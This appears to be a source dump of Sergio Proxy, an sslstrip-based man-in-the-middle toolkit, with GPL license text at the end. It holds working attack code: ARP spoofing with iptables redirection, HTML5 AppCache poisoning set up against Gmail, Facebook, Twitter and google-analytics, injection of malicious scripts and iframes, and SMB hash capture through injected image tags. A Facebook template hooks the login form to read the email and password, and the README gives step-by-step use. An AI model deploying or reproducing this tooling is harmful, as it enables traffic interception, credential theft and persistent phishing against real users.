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TO DO Normal file
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TO DO:
-Revamp arp spoofing
-CLEAN CODE where possible
-MSFrpc integration?
-FilePwn Revamp
-javascript keylogger
Priority:
-bdfproxy
-app cache poisoning
-client profiler

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# Copyright (c) 2004-2009 Moxie Marlinspike, Krzysztof Kotowicz
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging, re, os.path, time
from datetime import date
from sslstrip.DummyResponseTamperer import DummyResponseTamperer
class AppCachePoison(DummyResponseTamperer):
'''
AppCachePosion performs HTML5 AppCache poisioning attack - see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html
'''
mass_poisoned_browsers = []
def tamper(self, url, data, headers, req_headers, ip):
if not self.isEnabled():
return data
if "enable_only_in_useragents" in self.config:
regexp = self.config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
logging.log(logging.DEBUG, "Tampering disabled in this useragent (%s)" % (req_headers["user-agent"]))
return data
urls = self.urlMonitor.getRedirectionSet(url)
(s,element,url) = self.getSectionForUrls(urls)
if not s:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return data
logging.log(logging.WARNING, "Found URL %s in section %s" % (url, s['__name__']))
p = self.getTemplatePrefix(s)
if element == 'tamper':
logging.log(logging.WARNING, "Poisoning tamper URL with template %s" % (p))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to body
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
# add manifest reference
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest":
logging.log(logging.WARNING, "Poisoning manifest URL")
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html
logging.log(logging.WARNING, "Poisoning raw URL")
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to response body
data += appendix
self.cacheForFuture(headers)
self.removeDangerousHeaders(headers)
return data
def tryMassPoison(self, url, data, headers, req_headers, ip):
browser_id = ip + req_headers.get("user-agent", "")
if not 'mass_poison_url_match' in self.config: # no url
return data
if browser_id in self.mass_poisoned_browsers: #already poisoned
return data
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
return data
if 'mass_poison_useragent_match' in self.config and not "user-agent" in req_headers:
return data
if not re.search(self.config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
return data
if not re.search(self.config['mass_poison_url_match'], url): #different url
return data
logging.log(logging.WARNING, "Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
appendix = self.getMassPoisonHtml()
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
return data
def getMassPoisonHtml(self):
html = "<div style=\"position:absolute;left:-100px\">"
for i in self.config:
if isinstance(self.config[i], dict):
if self.config[i].has_key('tamper_url') and not self.config[i].get('skip_in_mass_poison', False):
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.config[i]['tamper_url'] + "\"></iframe>"
return html + "</div>"
def cacheForFuture(self, headers):
ten_years = 315569260
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
in_ten_years = date.fromtimestamp(time.time() + ten_years)
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
def removeDangerousHeaders(self, headers):
headers.removeHeader("X-Frame-Options")
def getSpoofedManifest(self, url, section):
p = self.getTemplatePrefix(section)
if not os.path.exists(p+'.manifest'):
p = self.getDefaultTemplatePrefix()
f = open(p + '.manifest', 'r')
manifest = f.read()
f.close()
return self.decorate(manifest, section)
def decorate(self, content, section):
for i in section:
content = content.replace("%%"+i+"%%", section[i])
return content
def getTemplatePrefix(self, section):
if section.has_key('templates'):
return self.config['templates_path'] + '/' + section['templates']
return self.getDefaultTemplatePrefix()
def getDefaultTemplatePrefix(self):
return self.config['templates_path'] + '/default'
def getManifestUrl(self, section):
return section.get("manifest_url",'/robots.txt')
def getSectionForUrls(self, urls):
for url in urls:
for i in self.config:
if isinstance(self.config[i], dict): #section
section = self.config[i]
if section.get('tamper_url',False) == url:
return (section, 'tamper',url)
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
return (section, 'tamper',url)
if section.get('manifest_url',False) == url:
return (section, 'manifest',url)
if section.get('raw_url',False) == url:
return (section, 'raw',url)
return (False,'',urls.copy().pop())

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I've modified sslstrip to be able to tamper with server responses.
One prepared example of tampering attack is HTML5 AppCache poisoning attack that places the
modified responses in browsers long-lasting HTML5 AppCache so that the spoofing continues
even after the victim is no longer MITMed.
Exemplary response tampering with HTML AppCachePoison:
1) python sslstrip.py -t app_cache_poison/config.ini
2) While under MITM, visit http://example.com to display tampered content
3) Visit http://www.facebook.com in AppCache supporting browser (Chrome, Firefox, Opera, Safari).
In Firefox you have to agree to store offline content, Chrome does not display any confirmations.
4) Stop MITM, restart browser, go for coffee or holidays
5) Visit http://www.facebook.com again - the spoofed content is still there!
As a bonus, once google analytics HTTP version will be requested, the spoofed content of it will be cached for 10 years.
EASY LOCAL TESTING MITM (for Ubuntu systems):
# create sslstrip admin user
# forward local traffic
$ sudo ./testmitm.sh start `id -u sslstrip`
# run sslstrip to hijack traffic
$ chown -R sslstrip /path/to/sslstrip/
$ su sslstrip
$ python sslstrip.py -t app_cache_poison/config.ini -p
# stop
$ sudo ./testmitm.sh stop
More info:
http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html
This functionality has been added by Krzysztof Kotowicz
<kkotowicz at gmail dot com>

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[DEFAULT]
; HTML5 AppCache poisioning attack
; see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html for description of the attack.
; generic settings for tampering engine
enabled=True
tamper_class=app_cache_poison.AppCachePoison
;all settings below are specific for AppCachePoison
templates_path=app_cache_poison/templates
;enable_only_in_useragents=Chrome|Firefox
; when visiting first url matching following expression we will embed iframes with all tamper URLs
;(to poison the cache for all of them all at once)
mass_poison_url_match=http://.*prezydent\.pl.*
; it's only useful to mass poison chrome because:
; - it supports iframe sandbox preventing framebusting
; - does not ask for confirmation
mass_poison_useragent_match=Chrome|Safari
[test]
; any //example.com URL redirects to iana and will display our spoofed content
tamper_url=http://example.com/
manifest_url=http://www.iana.org/robots.txt ;use existing static URL that is rarely seen by the browser user, but exists on the server (no 404!)
templates=test ; which templates to use for spoofing content?
skip_in_mass_poison=1
; use absolute URLs - system tracks 30x redirects, so you can put any URL that belongs to the redirection loop here
[gmail]
tamper_url=http://mail.google.com/mail/
; manifest has to be of last domain in redirect loop
manifest_url=http://mail.google.com/robots.txt
templates=default ; could be omitted
[facebook]
tamper_url=http://www.facebook.com/
manifest_url=http://www.facebook.com/robots.txt
templates=facebook ; use different template
[twitter]
tamper_url=http://twitter.com/
;tamper_url_match=^http://(www\.)?twitter\.com/$
manifest_url=http://twitter.com/robots.txt
[testing]
tamper_url=http://www.html5rocks.com/en/
manifest_url=http://www.html5rocks.com/robots.txt
; we can also modify non-HTML URLs to append malicious code to them
; but for them to be cached in HTML5 AppCache they need to be referred in
; manifest for a poisoned domain
; if not, they are "only" cached for 10 years :D
[ga]
raw_url=http://www.google-analytics.com/ga.js
templates=script
skip_in_mass_poison=1
;you can add other scripts in additional sections like jQuery etc.

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<style type="text/css" media="screen">
.aribbon {
background-color: #a00;
overflow: hidden;
z-index: 1000;
/* top left corner */
position: absolute;
left: -3em;
top: 2.5em;
/* 45 deg ccw rotation */
-moz-transform: rotate(-45deg);
-webkit-transform: rotate(-45deg);
/* shadow */
-moz-box-shadow: 0 0 1em #888;
-webkit-box-shadow: 0 0 1em #888;
}
.aribbon a {
border: 1px solid #faa;
color: #fff;
display: block;
font: bold 81.25% 'Helvetiva Neue', Helvetica, Arial, sans-serif;
margin: 0.05em 0 0.075em 0;
padding: 0.5em 3.5em;
text-align: center;
text-decoration: none;
/* shadow */
text-shadow: 0 0 0.5em #444;
}
</style>
<div class="aribbon">
<a href="https://github.com/koto/sslstrip">
AppCache poisoned
</a>
</div>
<div style="padding: 1em;border:1px solid red;margin:1em">
<h1>AppCache Poison works!</h1>
<p><code>%%tamper_url%%</code> page is spoofed with <a href="https://github.com/koto/sslstrip">AppCache Poison</a> by <a href="http://blog.kotowicz.net">Krzysztof Kotowicz</a>, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.</p>
</div>

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CACHE MANIFEST
CACHE:
%%tamper_url%%
http://www.google-analytics.com/ga.js
NETWORK:
*
http://*
https://**

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<style type="text/css" media="screen">
.aribbon {
background-color: #a00;
overflow: hidden;
z-index: 1000;
/* top left corner */
position: absolute;
left: -3em;
top: 2.5em;
/* 45 deg ccw rotation */
-moz-transform: rotate(-45deg);
-webkit-transform: rotate(-45deg);
/* shadow */
-moz-box-shadow: 0 0 1em #888;
-webkit-box-shadow: 0 0 1em #888;
}
.aribbon a {
border: 1px solid #faa;
color: #fff;
display: block;
font: bold 81.25% 'Helvetiva Neue', Helvetica, Arial, sans-serif;
margin: 0.05em 0 0.075em 0;
padding: 0.5em 3.5em;
text-align: center;
text-decoration: none;
/* shadow */
text-shadow: 0 0 0.5em #444;
}
</style>
<div class="aribbon">
<a href="https://github.com/koto/sslstrip">
AppCache poisoned
</a>
</div>
<div style="padding: 1em;border:1px solid red;margin:1em">
<h1>We work on Facebook too!</h1>
<p><code>%%tamper_url%%</code> page is spoofed with <a href="https://github.com/koto/sslstrip">AppCache Poison</a> by <a href="http://blog.kotowicz.net">Krzysztof Kotowicz</a>, but this is just a default content. To replace it, create <code>facebook.append</code> or <code>facebook.replace</code> file and add your content there.</p>
</div>
<script>
var f = document.getElementById('login_form').onsubmit;
document.getElementById('login_form').onsubmit = function() {
alert("Hello, " + document.getElementById('email').value + ' ' + document.getElementById('pass').value);
return Event.__inlineSubmit(this,event);
}
</script>

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CACHE MANIFEST
CACHE:
%%tamper_url%%
NETWORK:
*
http://*
https://**

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;console.log('AppCache Poison was here. Google Analytics FTW');

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<html>
<style type="text/css" media="screen">
.aribbon {
background-color: #a00;
overflow: hidden;
z-index: 1000;
/* top left corner */
position: absolute;
left: -3em;
top: 2.5em;
/* 45 deg ccw rotation */
-moz-transform: rotate(-45deg);
-webkit-transform: rotate(-45deg);
/* shadow */
-moz-box-shadow: 0 0 1em #888;
-webkit-box-shadow: 0 0 1em #888;
}
.aribbon a {
border: 1px solid #faa;
color: #fff;
display: block;
font: bold 81.25% 'Helvetiva Neue', Helvetica, Arial, sans-serif;
margin: 0.05em 0 0.075em 0;
padding: 0.5em 3.5em;
text-align: center;
text-decoration: none;
/* shadow */
text-shadow: 0 0 0.5em #444;
}
body { padding-left: 20em}
</style>
<div class="aribbon">
<a href="https://github.com/koto/sslstrip">
AppCache poisoned
</a>
</div>
<h1>Hurray!</h1>
<p>AppCache Poison by <a href="http://blog.kotowicz.net">Krzysztof Kotowicz</a></p>
<p>If you're seeing this, <a href="http://github.com/koto/sslstrip">AppCache Poison</a> works correctly. Try going to <a href="http://facebook.com">http://facebook.com</a> to see it in action.</p>
<script>
if(!window.applicationCache) {
document.write('<strong>Your browser does not support HTML5 AppCache though, cache poisoning won\'t work:(</strong>');
}
<!-- and poison ga -->
<img src="http://www.google-analytics.com/ga.js" />
</script>
</html>

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#!/usr/bin/env python
from twisted.web import http
from twisted.internet import reactor
from sslstrip.StrippingProxy import StrippingProxy
from sslstrip.URLMonitor import URLMonitor
from sslstrip.ResponseTampererFactory import ResponseTampererFactory
from sslstrip.CookieCleaner import CookieCleaner
from sslstrip.ProxyPlugins import ProxyPlugins
import sys, logging, traceback, string, os
import argparse
from plugins import *
plugin_classes = plugin.Plugin.__subclasses__()
sslstrip_version = "0.9"
sergio_version = "0.2.1"
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Sergio Proxy v%s - An HTTP MITM Tool" % sergio_version,epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
#add sslstrip options
sgroup = parser.add_argument_group("sslstrip","Options for sslstrip library")
sgroup.add_argument("-w","--write",type=argparse.FileType('w'),metavar="filename", default=sys.stdout,help="Specify file to log to (stdout by default).")
sgroup.add_argument("--log-level",type=str,choices=['debug','info','warning','error'],default="info",help="Specify file to log to (stdout by default).")
slogopts = sgroup.add_mutually_exclusive_group()
slogopts.add_argument("-p","--post",action="store_true",help="Log only SSL POSTs. (default)")
slogopts.add_argument("-s","--ssl",action="store_true",help="Log all SSL traffic to and from server.")
slogopts.add_argument("-a","--all",action="store_true",help="Log all SSL and HTTP traffic to and from server.")
sgroup.add_argument("-l","--listen",type=int,metavar="port",default=10000,help="Port to listen on (default 10000)")
sgroup.add_argument("-f","--favicon",action="store_true",help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k","--killsessions",action="store_true",help="Kill sessions in progress.")
tgroup = parser.add_argument_group("Options for app-cache poisoning")
tgroup.add_argument("-t", "--tamper",type=argparse.FileType('r'),help="Config file for app-cache poisoning")
#Initialize plugins
plugins = []
try:
for p in plugin_classes:
plugins.append(p())
except:
print "Failed to load plugin class %s" % str(p)
#Give subgroup to each plugin with options
try:
for p in plugins:
if p.desc == "":
sgroup = parser.add_argument_group("%s" % p.name,"Options for %s." % p.name)
else:
sgroup = parser.add_argument_group("%s" % p.name,p.desc)
sgroup.add_argument("--%s" % p.optname, action="store_true",help="Load plugin %s" % p.name)
if p.has_opts:
p.add_options(sgroup)
except NotImplementedError:
print "Plugin %s claimed option support, but didn't have it." % p.name
args = parser.parse_args()
log_level = logging.__dict__[args.log_level.upper()]
#Start logging
logging.basicConfig(level=log_level, format='%(asctime)s %(message)s',stream=args.write)
#All our options should be loaded now, pass them onto plugins
load = []
try:
for p in plugins:
if getattr(args,p.optname):
p.initialize(args)
load.append(p)
except NotImplementedError:
print "Plugin %s lacked initialize function." % p.name
#Plugins are ready to go, start MITM
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
CookieCleaner.getInstance().setEnabled(args.killsessions)
ResponseTampererFactory.buildTamperer(args.tamper)
ProxyPlugins.getInstance().setPlugins(load)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(args.listen, strippingFactory)
print "\n[*] sslstrip " + sslstrip_version + " by Moxie Marlinspike running..."
print "[*] sergio-proxy v%s online" % sergio_version
reactor.run()
#cleanup on exit
for p in load:
p.finish()

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from plugins.plugin import Plugin
from time import sleep
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
import os, sys, threading
class ArpSpoof(Plugin):
name = "ARP Spoof"
optname = "arpspoof"
desc = 'Redirect traffic using arp-spoofing'
implements = []
has_opts = True
log_level = logging.DEBUG
def initialize(self,options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.interface = options.interface
self.routerip = options.routerip
self.summary = options.summary
self.target = options.target
self.mode = options.mode
self.setup = options.setup
self.mac = get_if_hwaddr(self.interface)
self.port = self.options.listen
self.send = True
if os.geteuid() != 0:
sys.exit("[-] %s plugin requires root privileges" % self.name)
if self.interface == None or self.routerip == None:
sys.exit("[-] %s plugin requires --routerip and --interface" % self.name)
print "[*] ArpSpoof plugin online"
if self.setup == True:
print '[*] Setting up ip_forward and iptables'
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
file.write('1')
file.close()
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
if self.mode == 'req':
pkt = self.build_req()
elif self.mode == 'rep':
pkt = self.build_rep()
if self.summary == True:
pkt.show()
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
if ans == 'y' or len(ans) == 0:
pass
else:
sys.exit(0)
t = threading.Thread(name='send_packets', target=self.send_packets, args=(pkt,self.interface,))
t.setDaemon(True)
t.start()
def send_packets(self,pkt,interface):
while self.send == True:
sendp(pkt, inter=2, iface=interface)
def build_req(self):
if self.target == None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.routerip, pdst=self.routerip)
elif self.target:
target_mac = getmacbyip(self.target)
if target_mac == None:
sys.exit("[-] Error: Could not resolve targets MAC address")
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.routerip, hwdst=target_mac, pdst=self.target)
return pkt
def build_rep(self):
if self.target == None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.routerip, op=2)
elif self.target:
target_mac = getmacbyip(self.target)
if target_mac == None:
sys.exit("[-] Error: Could not resolve targets MAC address")
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.routerip, hwdst=target_mac, pdst=self.target, op=2)
return pkt
def add_options(self,options):
options.add_argument('--iface', dest='interface', help='Specify the interface to use')
options.add_argument('--routerip', dest='routerip', help='Specify the router IP')
options.add_argument('--target', dest='target', help='Specify a particular host to ARP poison [default: subnet]')
options.add_argument('--mode', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: req]')
options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
options.add_argument('--setup', action='store_true', dest='setup', default=True, help='Setup ip_forward and iptables [default: True]')
def finish(self):
self.send = False
sleep(3)
print '\n[*] Resetting ip_forward and iptables'
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
file.write('0')
file.close()
os.system('iptables -t nat -F && iptables -t nat -X')
print '[*] Re-arping network'
rearp_mac = getmacbyip(self.routerip)
pkt = Ether(src=rearp_mac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.routerip, hwsrc=self.mac, op=2)
sendp(pkt, inter=1, count=5, iface=self.interface)
sys.exit(0)

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from plugins.plugin import Plugin
class CacheKill(Plugin):
name = "CacheKill Plugin"
optname = "cachekill"
desc = "Kills page caching by modifying headers"
implements = ["handleHeader","connectionMade"]
has_opts = True
bad_headers = ['if-none-match','if-modified-since']
def add_options(self,options):
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")
def handleHeader(self,request,key,value):
'''Handles all response headers'''
request.client.headers['Expires'] = "0"
request.client.headers['Cache-Control'] = "no-cache"
def connectionMade(self,request):
'''Handles outgoing request'''
request.headers['Pragma'] = 'no-cache'
for h in self.bad_headers:
if h in request.headers:
request.headers[h] = ""

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import os,subprocess,logging,time,re
import argparse
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
class Inject(CacheKill,Plugin):
name = "Inject"
optname = "inject"
implements = ["handleResponse","handleHeader","connectionMade"]
has_opts = True
log_level = logging.DEBUG
desc = "Inject arbitrary content into HTML content"
def initialize(self,options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.html_src = options.html_url
self.js_src = options.js_url
self.rate_limit = options.rate_limit
self.count_limit = options.count_limit
self.per_domain = options.per_domain
self.match_str = options.match_str
self.html_payload = options.html_payload
if self.options.preserve_cache:
self.implements.remove("handleHeader")
self.implements.remove("connectionMade")
if options.html_file != None:
self.html_payload += options.html_file.read()
self.ctable = {}
self.dtable = {}
self.count = 0
self.mime = "text/html"
def handleResponse(self,request,data):
#We throttle to only inject once every two seconds per client
#If you have MSF on another host, you may need to check prior to injection
#print "http://" + request.client.getRequestHostname() + request.uri
ip,hn,mime = self._get_req_info(request)
if self._should_inject(ip,hn,mime) and \
(not self.js_src==self.html_src==None or not self.html_payload==""):
data = self._insert_html(data,post=[(self.match_str,self._get_payload())])
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
self.count+=1
logging.info("Injected malicious html.")
return {'request':request,'data':data}
else:
return
def _get_payload(self):
return self._get_js()+self._get_iframe()+self.html_payload
def add_options(self,options):
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
options.add_argument("--html-url",type=str,help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
options.add_argument("--html-payload",type=str,default="",help="String you would like to inject.")
options.add_argument("--html-file",type=argparse.FileType('r'),default=None,help="File containing code you would like to inject.")
options.add_argument("--match-str",type=str,default="</body>",help="String you would like to match and place your payload before. (</body> by default)")
options.add_argument("--per-domain",action="store_true",help="Inject once per domain per client.")
options.add_argument("--rate-limit",type=float,help="Inject once every RATE_LIMIT seconds per client.")
options.add_argument("--count-limit",type=int,help="Inject only COUNT_LIMIT times per client.")
options.add_argument("--preserve-cache",action="store_true",help="Don't kill the server/client caching.")
def _should_inject(self,ip,hn,mime):
if self.count_limit==self.rate_limit==None and not self.per_domain:
return True
if self.count_limit != None and self.count > self.count_limit:
#print "1"
return False
if self.rate_limit != None:
if ip in self.ctable and time.time()-self.ctable[ip]<self.rate_limit:
return False
if self.per_domain:
return not ip+hn in self.dtable
#print mime
return mime.find(self.mime)!=-1
def _get_req_info(self,request):
ip = request.client.getClientIP()
hn = request.client.getRequestHostname()
mime = request.client.headers['Content-Type']
return (ip,hn,mime)
def _get_iframe(self):
if self.html_src != None:
return '<iframe src="%s" height=0%% width=0%%></iframe>'%(self.html_src)
return ''
def _get_js(self):
if self.js_src != None:
return '<script type="text/javascript" src="%s"></script>'%(self.js_src)
return ''
def _insert_html(self,data,pre=[],post=[],re_flags=re.I):
'''
To use this function, simply pass a list of tuples of the form:
(string/regex_to_match,html_to_inject)
NOTE: Matching will be case insensitive unless differnt flags are given
The pre array will have the match in front of your injected code, the post
will put the match behind it.
'''
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in pre]
post_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in post]
for i,r in enumerate(pre_regexes):
data=re.sub(r,"\g<match>"+pre[i][1],data)
for i,r in enumerate(post_regexes):
data=re.sub(r,post[i][1]+"\g<match>",data)
return data

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plugins/SMBAuth.py Normal file
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from plugins.plugin import Plugin
from plugins.Inject import Inject
class SMBAuth(Inject,Plugin):
name = "SMBAuth"
optname = "smbauth"
desc = "Evoke SMB challenge-response auth attempts"
def initialize(self,options):
Inject.initialize(self,options)
self.target_ip = options.ip
self.html_payload = self._get_data()
def add_options(self,options):
options.add_argument("--host", action="store_true", help="The ip address of the SMB server")
def _get_data(self):
return '<img src=\"\\\\%s\\image.jpg\">'\
'<img src=\"file://///%s\\image.jpg\">'\
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">'\
% tuple([self.target_ip]*3)

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import logging
from cStringIO import StringIO
from plugins.plugin import Plugin
class Upsidedownternet(Plugin):
name = "Upsidedownternet"
optname = "upsidedownternet"
desc = 'Flips images 180 degrees'
has_opts = False
implements = ["handleResponse","handleHeader"]
def initialize(self,options):
from PIL import Image,ImageFile
globals()['Image'] = Image
globals()['ImageFile'] = ImageFile
self.options = options
def handleHeader(self,request,key,value):
'''Kill the image skipping that's in place for speed reasons'''
if request.isImageRequest:
request.isImageRequest = False
request.isImage = True
request.imageType = value.split("/")[1].upper()
def handleResponse(self,request,data):
try:
isImage = getattr(request,'isImage')
except AttributeError:
isImage = False
if isImage:
try:
image_type=request.imageType
#For some reason more images get parsed using the parser
#rather than a file...PIL still needs some work I guess
p = ImageFile.Parser()
p.feed(data)
im = p.close()
im=im.transpose(Image.ROTATE_180)
output = StringIO()
im.save(output,format=image_type)
data=output.getvalue()
output.close()
logging.info("Flipped image")
except Exception as e:
print "Error: %s" % e
return {'request':request,'data':data}

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plugins/__init__.py Normal file
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#Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python
#Has to be a cleaner way to do this, but it works for now
import os
import glob
__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")]

40
plugins/plugin.py Normal file
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'''
The base plugin class. This shows the various methods that
can get called during the MITM attack.
'''
class Plugin(object):
name = "Generic plugin"
optname = "generic"
desc = ""
implements = []
has_opts = False
def __init__(self):
'''Called on plugin instantiation. Probably don't need this'''
pass
def initialize(self,options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
def add_options(options):
'''Add your options to the options parser'''
raise NotImplementedError
def handleHeader(self,request,key,value):
'''Handles all response headers'''
raise NotImplementedError
def connectionMade(self,request):
'''Handles outgoing request'''
raise NotImplementedError
def handleResponse(self,request,data):
'''
Handles all non-image responses by default. See Upsidedownternet
for how to get images
'''
raise NotImplementedError
def finish(self):
'''This will be called when shutting down'''
pass

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plugins/test.py Normal file
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from plugins.plugin import Plugin
#Uncomment to use
'''
class Test(Plugin):
name = "Test"
optname = "test"
has_opts = True
implements = ["handleResponse"]
def add_options(self,options):
options.add_argument("--testy",action="store_true",
help="This is a test option")
def initialize(self,options):
self.worked = options.test
def handleResponse(self,request,data):
print "http://" + request.client.getRequestHostname() + request.uri
'''

674
sslstrip/COPYING.sslstrip Executable file
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GNU GENERAL PUBLIC LICENSE
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Corresponding Source of the work from the predecessor in interest, if
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You may not impose any further restrictions on the exercise of the
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rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
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sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
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but do not include claims that would be infringed only as a
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In the following three paragraphs, a "patent license" is any express
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then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
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If, pursuant to or in connection with a single transaction or
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A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
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to the third party based on the extent of your activity of conveying
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contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
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License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
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14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
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If the Program specifies that a proxy can decide which future
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17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
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reviewing courts shall apply local law that most closely approximates
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Program, unless a warranty or assumption of liability accompanies a
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END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.

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# Copyright (c) 2004-2009 Moxie Marlinspike
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
